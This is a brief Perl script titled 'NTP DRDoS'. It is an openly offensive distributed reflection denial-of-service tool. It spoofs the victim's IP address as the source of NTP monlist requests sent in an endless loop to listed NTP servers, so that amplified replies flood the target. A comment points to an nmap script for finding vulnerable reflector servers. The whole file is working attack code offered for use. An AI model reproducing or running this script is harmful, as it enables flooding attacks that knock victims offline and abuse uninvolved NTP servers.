#!/usr/bin/perl
# NTP DRDoS
# by ShadowHatesYou
#
# Use nmap's ntp-monlist.nse to find affected servers

use Net::RawIP;
@ntpservers = qw(
127.0.0.1
);
if ($ARGV[0] eq '') { print "Use: $0 <IP>\n"; exit; }
my $target = "$ARGV[0]";
my $ntp_getlist = "\x17\x00\x03\x2a\x00\x00\x00\x00";
my $sock =  new Net::RawIP({udp=>{}});
while () {
        for (my $i=0; $i < @ntpservers; $i++) {
                $sock->set({ip => {saddr => $target, daddr => $ntpservers[$i]},udp => {source => 123,dest => 123, data=>$ntp_getlist} });
                $sock->send;
        }
}